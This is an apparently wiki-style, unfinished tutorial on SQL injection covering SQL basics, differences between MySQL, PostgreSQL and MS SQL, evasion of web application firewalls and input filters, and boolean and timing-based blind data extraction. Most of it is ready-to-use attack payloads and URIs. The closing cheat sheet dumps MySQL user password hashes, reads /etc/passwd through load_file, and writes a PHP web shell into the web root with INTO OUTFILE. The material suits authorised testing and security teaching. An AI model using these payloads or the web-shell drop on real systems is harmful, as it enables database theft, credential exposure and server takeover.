SQL injection
This page is in-progress. Be advised it is not final in any way. |
Contents
- 1 Overview
- 2 SQL Orientation
- 3 Databasing engines compared and contrasted in light of SQL Injection
- 4 Modern day SQL Injection Obstacles and Countermeasures
- 5 Simple Remote Tests for SQL Injection Vulnerabilities
- 6 Bypassing Modern SQL Injection Security Measures
- 7 Exploiting SQL Injection Vulnerabilities
- 7.1 Automation Theory
- 7.2 Basic Injection : Union Select
- 7.3 Intermediate Testing: "SELECT" ... LIMIT, ORDER BY, and GROUP BY clause injections
- 7.4 Intermediate Testing: "UPDATE" and "INSERT"
- 7.5 Intermediate Injection: Information retrieval via verbose errors
- 7.6 Advanced Injection: Boolean Enumeration
- 7.7 Advanced Injection: Timing attacks
- 7.8 Advanced Lookups: Using Subquery Injection
- 8 Further Penetration
- 9 Cheat Sheets
- 10 Patching SQL Injection Vulnerabilities
- 11 Further Reading
Overview
SQL injection is a method of exploiting web applications performed over http or https to compromise the underlying database engine supporting dynamic content for the web application itself. Successful exploitation of an SQL injection vulnerability can result in the attacker gaining unfettered access to the database and can lead to further privilege escalation. |
- Authentication credentials
- Other identifying information about a user (like an IP address)
- Site configurations
- Site content and themes
- Communications between users within the site
Cause(s) of vulnerabilities
SQL Injection occurs when input from a user is directly passed to a SQL query by an application. In the context of web applications, user input comes from HTTP input. |
- Un-sanitized user input - The developer made no effort to stop an injection attack
- Improper type handling - An integer sanitized or otherwise treated as a string, or vice versa
- Lack of output filtering - Output from a query that had user input passed to it is used as input in later queries when rendering the page
Potential Target Environments
A variety of environments are vulnerable to SQL injection. Nearly all of the interpreted languages and compiled languages could be used to write a vulnerable application. Databasing engines such as MySQL, PostgreSQL, Microsoft SQL Server, or Oracle could be used in a vulnerable application. |
SQL Orientation
SQL Databases are made up of tables. Tables are created by the developer or architect and are empty on creation. Similar to a spreadsheet, a table's properties are defined by its columns. Columns can be different data types (strings, integers, booleans, floats, binary, etc). |
Running these statements in the command line for their associated database engines will display the information listed below; however these statements do not typically work when associated with any language connector other than the C API. |
MySQL
Show databases:
- Displays a list of databases that the current user has access to
SHOW DATABASES; |
Show tables [in ...]:
- Displays a list of table names in the currently selected database (if no database was specified), or a list of tables in the specified database
SHOW TABLES IN information_schema; |
Show fields in [table_name]:
- Displays a list of column names in the chosen table:
SHOW FIELDS IN information_schema.routines; |
PostgreSQL
\l - Lists all databases \dn - Lists all schemas in the current database \dt - Lists all tables in the current database \d [table_name]- Lists columns in table in the current database
Basic Queries
SELECT - Select data from a table
SELECT statements can contain clauses such as "WHERE", "LIMIT", "ORDER BY" and "GROUP BY" to find values that match specified patterns and filter results sets. |
- The basic syntax of a SELECT statement:
SELECT [column_name(s)] FROM [database_name(s)].[TABLE_NAME(s)] WHERE [condition] GROUP BY [column_name] ORDER BY [column_name] [ASC|DESC] SELECT can be used with statements such as "WHERE", "LIMIT", "ORDER BY" and "GROUP BY" to find values that match specified patterns. |
For example, let's do a simple SELECT query on the following table (named "People" for our example).
+----------------------+ |ID| NAME |STATE | +----------------------+ |1 | John Doe |New York| +--+----------+--------+ |2 | Jane Doe |Florida | +--+----------+--------+
Let's perform a SELECT Query on our "People" Table, for the column "state".
SELECT state FROM people; |
You should get an output similar to the following:
+---------+ |STATE | +---------+ |New York | +---------+ |Florida | +---------+
Lets demonstrate the use of a simple WHERE clause.
SELECT name FROM people WHERE id > 3; |
The above command would logically would be "select the name, from the rows in people where id is greater than three."; Which in this case would return nothing, because we only have IDs 1 and 2.
Let's say we added some new data to our table. it now looks like this:
+----------------------+ |ID| NAME |STATE | +--------------+-------+ |1 | John Doe |New York| +--+-----------+--------+ |2 | Jane Doe |Florida | +--+-----------+--------+ |3 | Billy Bob |New York| +--+-----------+--------+
The GROUP BY clause, groups results by column, and returns rows with unique values in the secified column.
SELECT name FROM people WHERE id > 0 GROUP BY state; |
would output
+-----------+ | NAME | +-----------+ | John Doe | +-----------+ | Jane Doe | +-----------+
The order by clause will order the rows, by a value in a column.
If we have this table:
+------------------------+ |AGE| NAME | STATE | +--------------+---------+ |22 | John Doe | New York| +--+-----------+---------+ |31 | Billy Bob |New York| +--+-----------+---------+ |26 | Jane Doe | Florida | +--+-----------+---------+
and we ran the command
SELECT * FROM people ORDER BY AGE; |
the output would show
+------------------------+ |AGE| NAME | STATE | +--------------+---------+ |22 | John Doe | New York| +--+-----------+---------+ |26 | Jane Doe | Florida | +--+-----------+---------+ |31 | Billy Bob |New York| +--+-----------+---------+
The LIMIT clause, is very simple. it limits your results.
SELECT * FROM state WHERE age > 22 LIMIT 1; |
Would return the following:
+------------------------+ |AGE| NAME | STATE | +--+-----------+---------+ |26 | Jane Doe | Florida | +--+-----------+---------+
UPDATE - Modify rows in a table
The UPDATE command is used to update specific rows in a table with a new value. It has the ability to alter a large amount of data with a single query, and as such can be a very dangerous command when access to it is granted to the wrong people.
For example:
UPDATE customers SET age=20 WHERE name='Richard' |
This will set the value of the 'name' row in the 'age' column to 20 wherever 'name' is 'Richard'.
Executing this query in an interactive environment will return the number of rows that were altered. If the WHERE clause is omitted, every row in the named table will be edited in accordance with this query.
Updating multiple columns
It is possible to alter the contents of multiple columns in a table with a single UPDATE query in the following manner:
UPDATE customer SET name='Richard' AND age='20' AND paid='yes' WHERE id='4' |
INSERT - Add rows to a table
The basic format of the INSERT statement is:
INSERT INTO TABLE (COLUMN, COLUMN, COLUMN) VALUES (VALUE, VALUE, VALUE) |
The number of columns and values must be the same.
It is similar to the UPDATE statement in that it allows you to alter the contents of entries in a table. However, the INSERT statement allows you to add a new row to the table specified, inserting data into whichever columns you choose (with a minimum of one) when you initialise it. Any columns not specified are simply left blank.
For example:
INSERT INTO customers (name, age, paid) VALUES ('Richard', '23', 'yes') |
DELETE - Delete rows from a table
The format of the DELETE statement is:
DELETE FROM TABLE WHERE COLUMN=VALUE |
This will delete a row from a table where the column is equal to the value specified. It is relatively simple to use, for example:
DELETE FROM customers WHERE age='20' |
Nearly every modern databasing engine has an information_schema database or schema. Important tables that are part of information_schema include schemata,routines,columns, and tables. |
MySQL
- Show Databases equivalent:
SELECT schema_name FROM information_schema.schemata; |
- Show tables equivalent:
SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=[database_name] |
- Show fields equivalent:
SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND table_schema=[database_name] |
PostgreSQL
- \dn Equivalent (Shows all of the schema names)
SELECT schema_name FROM information_schema.schemata WHERE catalog_name=[DATABASE name] |
- \dt Equivalent (Shows all of the tables in the schema)
SELECT TABLE_NAME FROM information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) AND catalog_name=[DATABASE name] |
- \d [column_name] Equivalent:
SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=([table_query]) AND table_schema=([schema_query]) AND catalog_name=[database_name] |
MS SQL
- Listing Tables:
SELECT TABLE_NAME FROM information_schema.columns WHERE table_catalog=[database_name] GROUP BY TABLE_NAME ORDER BY TABLE_NAME ASC; |
- Listing Columns:
SELECT column_name FROM information_schema.columns WHERE table_catalog=[database_name] AND TABLE_NAME=[table_query] GROUP BY column_name ORDER BY column_name ASC |
Legacy Databases
History says |
---|
"The information_schema database entered the open source community in MySQL version 5 and at the end of PostgreSQL Version 7.3; old and current versions of SQL engines contain their schema information in their administration databases. |
mssql
- sysobjects (Legacy Access/Jet Engine)
- msysobjects (Legacy SQL Server CE)
mysql
- mysql.columns_priv
Databasing engines compared and contrasted in light of SQL Injection
- Additional similarities are added each update to the various database engines. Read the manuals for the affected engines to get an up-to-date view.
- Not all similarities or differences are documented here, only those relevant to SQL injection.
Similarities and differences between database engines include table and column names, function names, environment variables, and statement syntax. |
Information_Schema
All of the databasing engines that presently have an information_schema collection all have the following in common: |
- The information_schema.tables table has a table_name column.
- The information_schema.columns table has both table_name and column_name columns.
- All of them have information_schema.routines and information_schema.schemata tables.
Functions & Environment Variables
MS SQL, MySQL, and PostgreSQL share the following:
- ascii()
- substring()
- count()
- lower()
- upper()
MySQL and Postgres share the following:
- current_database()
- version()
- current_user
MySQL and MSSQL share the following:
- database()
- @@version
Other syntax
PostgreSQL and MySQL now share the same LIMIT syntax:
|
Microsoft SQL does not have a LIMIT clause. In stead, sub-queries with SELECT TOP and ORDER BY clauses are used as a workaround. This makes for a less readable query and a more frustrating attack.
|
Capabilities
Different SQL databasing engines have different capabilities. As a result, there are advantages and disadvantages passed to an attacker for each limitation or unique piece of functionality that a SQL server may have to offer. |
- MSSQL xp_cmdshell
- MySQL has the ability to select into outfile and select load_file.
- PostgreSQL is the only databasing engine which supports trigger functions or other user-defined functionality added to a table in most procedural scripting languages (Perl,Python,Ruby).
Modern day SQL Injection Obstacles and Countermeasures
Obstacles can occur on various layers of the OSI model. The software layer may filter your input during its processing. The network layer may be monitored by a NIDS or IPS and begin to drop traffic, add captcha verifications, or redirect you to a honeypot. The HTTP server may also be running a Web Application Firewall. |
Configuration & Environment Challenges
Experience says |
---|
Due to certain vulnerabilities requiring the use of boolean enumeration or timing attacks, many HTTP requests may be needed in order to successfully determine database contents, making the process of arbitrarily accessing data quite time consuming and noisy. |
Older versions of database servers may not have an information_schema database and may require a privileged user (like the database server administrator) to access any schema information. |
IDS, IPS, and Web Application Firewalls
Web application firewalls usually operate at the same layer as the HTTP server or application, and thus monitor the protocol and input layers. This is different than normal IDS, which are stand-alone pieces of software or hardware that inspect the network and the host layer. |
Common Web Application Firewall HTTPD Modules
- Mod_Security (Apache)
- Naxsi (Nginx)
- ISAPI Filters (Microsoft IIS)
Common signatures use regular expressions that will match (and block) many common or simple testing techniques. |
Improper Sanitizing
Partial sanitizing
Partial sanitizing may affect any or more (unlisted here) of the following important syntax characters and result in them being encoded in some fashion, escaped, or removed entirely. |
- The single quote character: '
- The double quote character: "
- The tag characters: < and >
- The equals character: =
- The comma character: ,
- The parenthesis characters: ( and )
Deprecated Sanitizing
History says |
---|
PHP's addslashes() function (now deprecated) relied on the unhex() function. The goal of addslashes() was to add an escape (\) behind any single quotes (') entered into a string. When multi-byte character sets (or collations) are in use, this can cause a vulnerability to occur. If a valid multi-byte character ends in 0x5c (the escape), it is possible to circumvent the escape completely by placing the first byte of that character before the single quote. When unhex() is called against the now escaped single-quote, it sees the two bytes as a single character, allowing the quote (0x27) to escape the string unscathed. An example prefix for a non-utf8 character set's multi-byte prefix that accepts 0x5c as an ending is 0xbf, so one could use %bf%27 in a url to bypass the use of addslashes(). |
Simple Remote Tests for SQL Injection Vulnerabilities
Make sure to have written authorization from the site owner first! |
Vulnerability Characteristics
Vulnerability types
SQL injection vulnerabilities are typically either standard injection vulnerabilities, error-based vulnerabilities, or blind vulnerabilities, blind being the most difficult of the three. |
- Standard vulnerabilities:
The page can be exploited by using the UNION SELECT or UNION ALL SELECT statements to simply display selected data on the page.
- Error-based vulnerabilities:
Error based vulnerabilities occur when verbose errors from the SQL databasing engine are enabled and displayed on the page. Thus, attackers may use things such as illegal type conversions to throw errors containing data.
- Blind vulnerabilities:
Blind SQL injection vulnerabilities are not only the most difficult to exploit, but also the most time consuming. Timing attacks and boolean enumeration are the only methods of successful exploitation of select statements.
Injection Points
An SQL injection vulnerability's type is determined by the location of the user input. $input is used as an example input variable in the queries below to illustrate their classifications.
|
Input Testing
Vulnerabilities always stem from user input. In web applications, user input may come from a variety of places: forms, cookies, and GET parameters. In order to test for vulnerabilities remotely, researchers test the urls, forms, and cookies associated with the site or software of interest. |
Your First Where Clause Injection
- There are a number of tests that can be employed to determine if a site is vulnerable to SQL injection.
Boolean challenges will return zero rows if conditions are not met, whereas they will return the same value if the conditions are met. This way researchers are able to determine vulnerability via a "true/false" test.
/article_by_id.php?id=10
/article_by_id.php?id=10%20AND%201=1 and /article_by_id.php?id=10%20AND%201=0
/article_by_id.php?id=10%20AND%201=1 will match the page on: /article_by_id.php?id=10 however the page at: /article_by_id.php?id=10%20AND%201=0 will have data (and likely the entire article) missing.
/article_by_title.php?id=SQL%27%20AND%20%271%27=%270 /article_by_title.php?id=SQL%27%20AND%20%271%27=%271 |
|
Reconstructing injected Queries
Lets tie it all together. In our $id example, because $id = "10 and 1=1" the queries become:
- Original Query:
$query = "select * from articles where id=$id"; |
- Generated Queries:
$query = "select * from articles where id=10 and 1=1"; $query = "select * from articles where id=10 and 1=0"; |
Or, alternatively, we can look at our $title example:
- Original query:
$query = "select * from articles where title='$title'"; |
- Generated queries:
$query = "select * from articles where title='SQL' and '1'='0'"; $query = "select * from articles where title='SQL' and '1'='1'"; |
Bypassing Modern SQL Injection Security Measures
To exploit or even test anything in the modern world, we'll need to recognize it when countermeasures are in place and be able to defeat them. |
Signs that a WAF is in the way
|
Network layer evasion
- -> SSL:
- -> Session Splicing:
Basic Signature Evasion
Signature evasion is very similar to evading partial sanitizing. In stead of modifying your characters, an IPS drops traffic if your characters appear in a particular sequence in order to match a pattern. By discovering that sequence, we can make adjustments to our queries to evade the IPS or WAF in the way of our testing. Many web application firewalls will recognize the "1=1" simply due to its popularity. Other queries that are very similar to that may also be noticed. Lets suppose the signature is looking for something along the lines of [integer][equal sign][integer], or that a request with "AND 1=1" had its connection reset, but the page without the injection continues to load.
Whitespace placement
Take note of the whitespace around the = operator. If there is none, try adding a space. If there's a space on each side, try removing or adding one to see if there isn't a proper length delimiter on the signature. You may find lopsided, missing, or extra whitespace may bypass signature-based analysis engines.
%20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%201 (TRUE) %20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%200 (FALSE)
Integer and string size delimiters
Because there is usually a size delimiter or a maximum size to the integer, we can exceed that size to stop ourselves from being detected. Ten digit random numbers, in stead of the single digit predictable numbers might do the trick.
%20and%402837649781237849=402837649781237849 (TRUE) %20and%201789236419872364=128756128398671289 (FALSE)
Switching up the data types
If integers are giving you a hard time, the signature may be tuned too specifically to integers. Try mixing the comparisons up a bit, using strings or floating point values to de-rail the signature.
%20and%205.8=5.8 (TRUE) %20and%200.2=0.3 (FALSE)
Arithmetic tests
In stead of comparing a value like "1=1", try comparing mathematical expressions. Mathematical expressions may be the key to bypassing your problem if you're still jammed up on a signature detection.
%20and%201.2+3=4.2 (TRUE) %20and%200.2-1=0 (FALSE)
Capitalization
If you're still having problems during testing, this probably isn't your issue. Try changing the case of the letters making up your boolean operator (and to AnD and or to oR).
Extending conditional statements
- Using IF for MySQL injection:
The syntax for the IF statement in MySQL is:
IF([condition],[VALUE TO RETURN IF TRUE],[ELSE RETURN VALUE]) |
%20and%20if(10829361=10829361,1,0) (TRUE) %20and%20if(98276232=72619126,1,0) (FALSE)
You can use any combination of the above techniques in conjunction with one another as long as your queries still return true and false. |
Defeating partial sanitizing
You'll likely hit a brick wall if you try to bypass the sanitizing by breaking the sanitizing method. In stead, focus on evading the sanitizing by crafting queries that do not require sanitized characters. |
Quotes
select 'abc'; ...is equivalent to... select 0x616263;Therefore, 0x616263 can be used in place of 'abc'. This will come in handy while exploiting a WHERE clause and not being able to use quotes.
String concatenation can avoid the use of quotes the use of quotes in:
Using the char() function to construct the string 'abc': select char(97,98,99); ->Similar to the hex example, char(97,98,99) can be used interchangeably with the string 'abc'.
Using the chr() function and double-pipe concatenation operator: select chr(97)||chr(98)||chr(99); ->Similar to the above example, chr(97)||chr(98)||chr(99) can be used interchangeably with the string 'abc'.
Using the char() function and plus operator: select char(97)+char(98)+char(99); ->Similar to the other examples, char(97)+char(98)+char(99) can be used interchangeably with the string 'abc'. |
Whitespace Filtering
We can bypass filtering on the space character by using alternative whitespace characters to the space character (%20). Most SQL engines consider a line return (%0a in a *NIX environment, %0a%0d in a Windows environment) or tab characters as valid whitespace:
and%0a1=1 and%0a1=0 Protip: MySQL treats block comments as whitespace.
|
SQL Injection: Bypassing XSS Filters
If you've run into XSS filtering, chances are the standard comparison operators (=, <,>) are being filtered out. If this is the case, we need to use alternative comparison operators:
|
Testing with BETWEEN
- The between comparison operator will return true or false based on whether or not the preceding value is between a ceiling and a floor in a range. For example, 50 is between 0 and 100, but 300 is not, which lets us safely avoid using the = operator in our query:
and%2050%20between%200%20and%20100 (True) and%20300%20between%200%20and%20100 (False)
- This turns the query into something like:
select * from articles where id=1 and 50 between 0 and 100 select * from articles where id=1 and 300 between 0 and 100
and%20'c'%20between%20'a'%20and%20'm (True) and%20'z'%20between%20'a'%20and%20'm (False)
Testing with LIKE
Testing with Regular Expression Operators (REGEXP, ~, and RLIKE)
|
- MySQL testing:
True: and 0x2e regexp 0x2e False: and 0x6a regexp 0x7a
- PostgreSQL testing:
True: and chr(97) ~ chr(97) False: and chr(98) ~ chr(99)
- MS SQL testing:
True: and char(97) rlike char(97) False: and char(104) rlike char(64)
Exploiting SQL Injection Vulnerabilities
There are various methods for exploiting various databasing engines, including MySQL, PostgreSQL and Microsoft SQL server. Different engines may require different function names, environment variables, or syntax nuances for proper effectiveness. |
Automation Theory
Loop Delimeters:
- Length of single cell strings (length sql functions)
- Number of rows returned by a query (count sql functions)
Obtaining data types:
- Data types of single cells (type from information_schema.columns)
Ensuring that your data will not fluxuate:
- Order by/group by
Error-based injection issues:
Sometimes you won't be able to select integer values when using error-based injection. There's more than one way to solve this. |
- method a
Use ORDER by to find the upper most row and lower most row of the results set. You can stop by starting at an element on one end and then keeping your order by clause intact, incrementing your offset; you'll know when to stop when you've reached the value on the other end of the table.
- method b
attempt to string concatenate a character to the integer to throw an error.
Common sense says |
---|
Variables you will need to track for successful automation of exploitation are listed below. There are other optional variables to track, and this can always be expanded. |
Counters:
- Row Counter
- Byte Index Counter
Temporary Variables:
- Length of current target cell
- Number of rows in current target table
SQL Dialect Variables:
- Sanitized Syntax Characters
- Whitespace character(s)
- String concatenation operator
- Comment syntax
Basic Injection : Union Select
Intermediate Testing: "SELECT" ... LIMIT, ORDER BY, and GROUP BY clause injections
The professor says |
---|
/view_results.php?start=30&perpage=10 |
A LIMIT clause may have two different inputs, one being the number of rows to return, the other being what row to start from when selecting the rows. On recent versions of MySQL the limit clause syntax is congruent to PostgreSQL syntax:
|
On older versions of MySQL, the offset operator was not supported. In those cases we'll be using the older syntax:
|
Intermediate Testing: "UPDATE" and "INSERT"
Intermediate Injection: Information retrieval via verbose errors
Advanced Injection: Boolean Enumeration
Boolean enumeration is the process of using conditional statements (true and false, just like our testing methodology) to determine the value of a byte.
- The maximum value of any byte is 255 and the minumum is 0.
- There are 8 bits in one byte
- A bit can be 1 or 0 (True or False)
Therefore, logic dictates that,
- By asking no more than 8 true/false questions, one should be able to determine the value of a byte.
There are primarily two methods to using boolean enumeration. One involves selecting a byte from a single-cell of a database and testing for true or false against its character or ascii code, the other involves selecting a single-cell and comparing it with a regular expression. Fortunately for us, universal operators and universal functions include:
BETWEEN ... AND ... | Operator = < > | Operators substring() | Function ascii() | Function
This assists us with crafting uniform queries that affect ALL sql dialects.
So, in order to ensure that we maintain data integrity:
- Always use a LIMIT on select statements in subqueries
- Always use ORDER BY on select statements, and keep it the same.
Using Ascii codes
The ascii() function on any given database engine will return the ascii code for the the character passed to it. If it is passed an entire string, it will return the ascii code for the first character. For example:
SELECT ascii('a'); |
+------------+ | ascii('a') | +------------+ | 97 | +------------+ 1 row in set (0.00 sec)
Using substring() to select a single byte:
- The substring() syntax is:
SUBSTRING([STRING],[POSITION],[LEN]) |
For example:
SELECT SUBSTRING('abc',1,1); |
+----------------------+ | substring('abc',1,1) | +----------------------+ | a | +----------------------+ 1 row in set (0.00 sec)
SELECT SUBSTRING('abc',2,1); |
+----------------------+ | substring('abc',2,1) | +----------------------+ | b | +----------------------+ 1 row in set (0.01 sec)
Optimization:
- You can use the upper() and lower() functions to convert results to all uppercase or all lowercase. This will remove a set of ascii characters from possible values during testing.
Version fingerprinting with ascii-based boolean enumeration:
- The ascii code of the first character of the version string can be accessed by calling:
ascii(substring(lower(version()),1,1))
postgres=# SELECT ascii(SUBSTRING(LOWER(version()),1,1)); |
ascii ------- 112 (1 row)
On PostgreSQL, the first character of version() is 'P'. Since we're converting it to lowercase, the ascii value of 'p' is 112.
mysql> SELECT ascii(SUBSTRING(LOWER(version()),1,1)); |
+----------------------------------------+ | ascii(substring(lower(version()),1,1)) | +----------------------------------------+ | 53 | +----------------------------------------+ 1 row in set (0.00 sec)
Using the between ... and ... comparison statements, we can isolate the value:
/vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 0 and 127 /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 128 and 255
You can adjust the range delimiters on the between statement while it returns true until both parameters are equal. When both parameters are equal and the query returns true, you've found the value of the byte:
SELECT * FROM sample WHERE id=1 AND ascii(SUBSTRING(LOWER(version()),1,1)) BETWEEN 53 AND 53; |
+----+---------------------+ | id | sample_text | +----+---------------------+ | 1 | this is sample text | +----+---------------------+ 1 row in set (0.01 sec)
Once we've identified the first byte, we can move from the first to the second by changing:
ascii(SUBSTRING(LOWER(version()),1,1)) |
to
ascii(SUBSTRING(LOWER(version()),2,1)) |
Using Regex
- MySQL's REGEXP operator is case insensitive.
- PostgreSQL's ~ operator is case sensitive.
MySQL
MySQL's REGEXP operator is handy for more than just testing.
PostgreSQL Enumeration
Because PostgreSQL's version() string always starts with 'P' for "PostgreSQL",
and lower(version()) ~ (select chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93))
Advanced Injection: Timing attacks
Boolean Enumeration
MySQL:
benchmark()
Benchmark() is quite the rude method for timing attacks, primarily due to the fact that it executes large amounts of queries and is CPU intensive. Any extensive injections using benchmark() are likely to alert a system administrator to the resource consumption, even if he never finds the attack, he'll be called. For this reason we have minimal coverage of the benchmark() function and recommend using a sleep() function call in stead.
sleep()
For testing purposes we've installed mysql 5.1 locally and created a table called sample:
mysql> select version(); +-----------------+ | version() | +-----------------+ | 5.1.58-log | +-----------------+ 1 row in set (0.00 sec)
We've inserted a row of sample data to mimick where clause injection:
mysql> select * from sample where id=1; +----+---------------------+ | id | sample_text | +----+---------------------+ | 1 | this is sample text | +----+---------------------+ 1 row in set (0.00 sec)
Testing for the ability to sleep():
%20and%20sleep(15) mysql> select * from sample where id=1 and sleep(15); Empty set (15.00 sec)
Notice when injecting that the sleep() function still outputs a false results set, however it takes 15 seconds. It should take the page less than that to load normally. We can use this in conjunction with a timer when automating sql injection. As noted above in the general boolean enumeration section, because we want to evade modern IDS systems, the best option is the REGEXP operator because of its lack of need for quotes,commas, or standard comparison operators (<, =, >)
If the input for the id is vulnerable, the best method to exploit sleep() is by using the REGEXP operator in combination with the CAST() function. REGEXP always returns 1 or 0 based on whether or not there was a match. 1 for matching and 0 for no match found. By casting its return to a signed integer and using a multiplication test, we can control its output for combination with the sleep command:
mysql> select * from sample where id=1 and sleep(cast((select 'a' regexp '^[n-z]') as signed) * 15); Empty set (0.00 sec)
mysql> select * from sample where id=1 and sleep(cast((select 'x' regexp '^[n-z]') as signed) * 15); Empty set (15.00 sec)
Now we have false sleeping for zero seconds and true sleeping for 15 seconds.
Using it to map a table name:
mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0; +------------+ | table_name | +------------+ | sample | +------------+ 1 row in set (0.00 sec)
The first letter of "sample" is s, it isn't between a and m, therefore it shouldn't sleep at all if we test to see if it is:
mysql> select * from sample where id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp '^[a-m]') as signed) * 15)); Empty set (0.00 sec)
However, when we test to see if it's between n-z, because s is between n and z the return output from REGEXP is multiplied and becomes 15, which is passed to the sleep() function:
mysql> select * from sample where id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp '^[n-z]') as signed) * 15)); Empty set (15.00 sec)
So, an injection URI that utilizes sleep(), cast(), and multiplication can be used remotely in cases of unpredictable output and without the need for quotes, commas, comment notation, or standard comparison operators (<, =, >) to test if the first character of the first table in the database is between a and m would look like:
/vulnerable.ext?id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp 0x5e612d6d) as signed) * 15));
However the n-z would look like:
/vulnerable.ext?id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp 0x5e6e2d7a) as signed) * 15));
PostgreSQL Timing Attacks
- pg_sleep()
Similar to mysql, the database will sleep when you select pg_sleep([int]).
- Using CASE to control pg_sleep with BETWEEN...AND:
and (case when 1 between 1 and 1 then pg_sleep(15) else 9 end) is null
If the input is vulnerable, the database will sleep for 15 seconds.
True statements will sleep, false statements will not sleep.
You can use ascii() between similar to standard PostgreSQL Boolean Enumeration here,
- True Injection:
and (case when ascii(substring(version(),1,1)) between 1 and 255 then pg_sleep(5) else 98923 end) is null
- False Injection:
and (case when ascii(substring(version(),1,1)) between 1 and 1 then pg_sleep(5) else 23265 end) is null
Using CASE with the ~ regular expression operator and string concatenation:
The following will sleep for 15 seconds if the lowercase format of the version string matches "^[a-z]", the same as the (select chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)).
- This should always be true, delaying the page load for an additional 15 seconds:
and (case when lower(version()) ~ (select chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) then pg_sleep(15) else null end) is null
- This should always be false, as PostgreSQL always capitalizes the first character, meaning no time delay should take place:
and (case when version() ~ (select chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) then pg_sleep(15) else null end) is null
Microsoft SQL Server
- waitfor delay
Attacks best reserved for LAN Testing
These are not boolean based attacks for extracting data, but timing based extractions in stead.
Mysql:
- sleep() isn't boolean enumeration
PostgreSQL:
- pg_sleep() isn't boolean
Advanced Lookups: Using Subquery Injection
Further Penetration
Obtaining filesystem access
- load_file()
- select ... into outfile
- load data [local] infile
Obtaining Code Execution
- Via web app
- Via into outfile
- Via database engine
Cheat Sheets
Vulnerability Testing
True/False Statements:
- Standard operators (Universal):
True: and 230984752 = 230984752
False: and 1023947182234 = 4382616621386497
- The Between ... And ... operators (Universal):
True: and 238829 between 238826 and 238927
False: and 328961 between 928172 and 986731
- The LIKE operator (Universal):
True: and 'sqltest' like 'sql%'
False: and 'sqltest' like 'not true'
- The REGEXP operator (RLIKE in Microsoft SQL, Universal):
True: and 'sqltest' regexp '^sql'
False: and 'sqltest' regexp '^false'
MySQL Syntax Reference
- Comment notation:
/* [*/] %23 (# urlencoded) --[space]
- Handy functions, statements, and Environment Variables:
version() user() current_database() count([column_name]) from [table_name] length([column_name]) from [table_name] [where or limit] substr([query],[byte_counter],1) concat([column_name],0x2f,[column_name]) from [table_name] [where or limit] group_concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]
- You can evade the need for quotes by using the 0x[hex] operator. An example is "select 0x6a6a". The output is "jj", same as if you were to have run "select 'jj'".
Mysql Versions >= 5 User Schema Mapping (Unprivileged)
- Show Databases Equivilent:
select schema_name from information_schema.schemata limit 1 offset 0
- Show Tables Equivilent
select table_name from information_schema.tables where table_schema=database() limit 1 offset 0
- Show Fields Equivilent
select column_name from information_schema.columns where table_schema=database() and table_name=([table query]) limit 1 offset 0
Privileged Mysql (Any version) User
- Get mysql usernames and password hashes:
select concat(user,0x2f,password) from mysql.user limit 1
- Grab /etc/passwd
select load_file(0x2f6574632f706173737764)
- Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs
select 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e into outfile '/var/www/localhost/htdocs/.shell.php'
PostgreSQL Syntax Reference
- Comment notations:
- Handy functions & Environment Variables:
current_database() current_user() chr() ascii() substr()
Quick and common string concatenations:
String concatenation in postgresql is done using the two pipe operators side by side, e.g. "select chr(97)||chr(97)" is the same as "select 'aa'". |
- Congruent to select 'BASE TABLE';:
(SELECT CHR(66)||CHR(65)||CHR(83)||CHR(69)||CHR(32)||CHR(84)||CHR(65)||CHR(66)||CHR(76)||CHR(69))
- Congruent to select 'pg_catalog';:
(SELECT CHR(112)||CHR(103)||CHR(95)||CHR(99)||CHR(97)||CHR(116)||CHR(97)||CHR(108)||CHR(111)||CHR(103))
- Congruent to select 'information_schema';:
(SELECT CHR(105)||CHR(110)||CHR(102)||CHR(111)||CHR(114)||CHR(109)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(95)||CHR(115)||CHR(99)||CHR(104)||CHR(101)||CHR(109)||CHR(97))
PostgreSQL Schema Mapping
- \dn equivilent:
select schema_name from information_schema.schemata where catalog_name=current_database() limit 1 offset 0
- \dt equivilent:
select table_name from information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) and catalog_name=current_database() limit 1 offset 0
- \d [table_name] equivilent:
select column_name from information_schema.columns where table_name=([table_query]) and table_schema=(schema_query) and catalog_name=current_database() limit 1 offset 0
Microsoft SQL Syntax Reference
- Comment notation:
/* [*/] %23 (# urlencoded) --[space]
- Handy functions, statements, and Environment Variables:
database() @@version
String concatenation is preformed in Microsoft SQL via the + character. |
Microsoft SQL Schema Mapping (Unprivileged)
- Obtaining the first table:
select top 1 table_name from (select top 1 table_name from information_schema.columns where table_catalog=@@database group by table_name order by table_name desc) sq group by table_name order by table_name asc
- Obtaining the first column:
select top 1 column_name from (select top 1 column_name from information_schema.columns where table_catalog=@@database and table_name='[table_name]' group by column_name order by column_name asc) sq group by column_name order by column_name desc
Microsoft SQL Exploitation (Privileged)
Patching SQL Injection Vulnerabilities
Proper type handling and sanitizing
- Ruby input sanitizing:
[Sanitizes For] | [Type] | [Engine] | [Example] XSS, SQL Injection | String | Any | var = HTMLEntities.encode(var,:basic:) SQL Injection | String | MySQL | var = Mysql.escape_string(var) SQL Injection | String | PostgreSQL | var = PGconn.escape_string(var) XSS, SQL Injection | Integer | Any | var = var.to_i
- PHP input sanitizing:
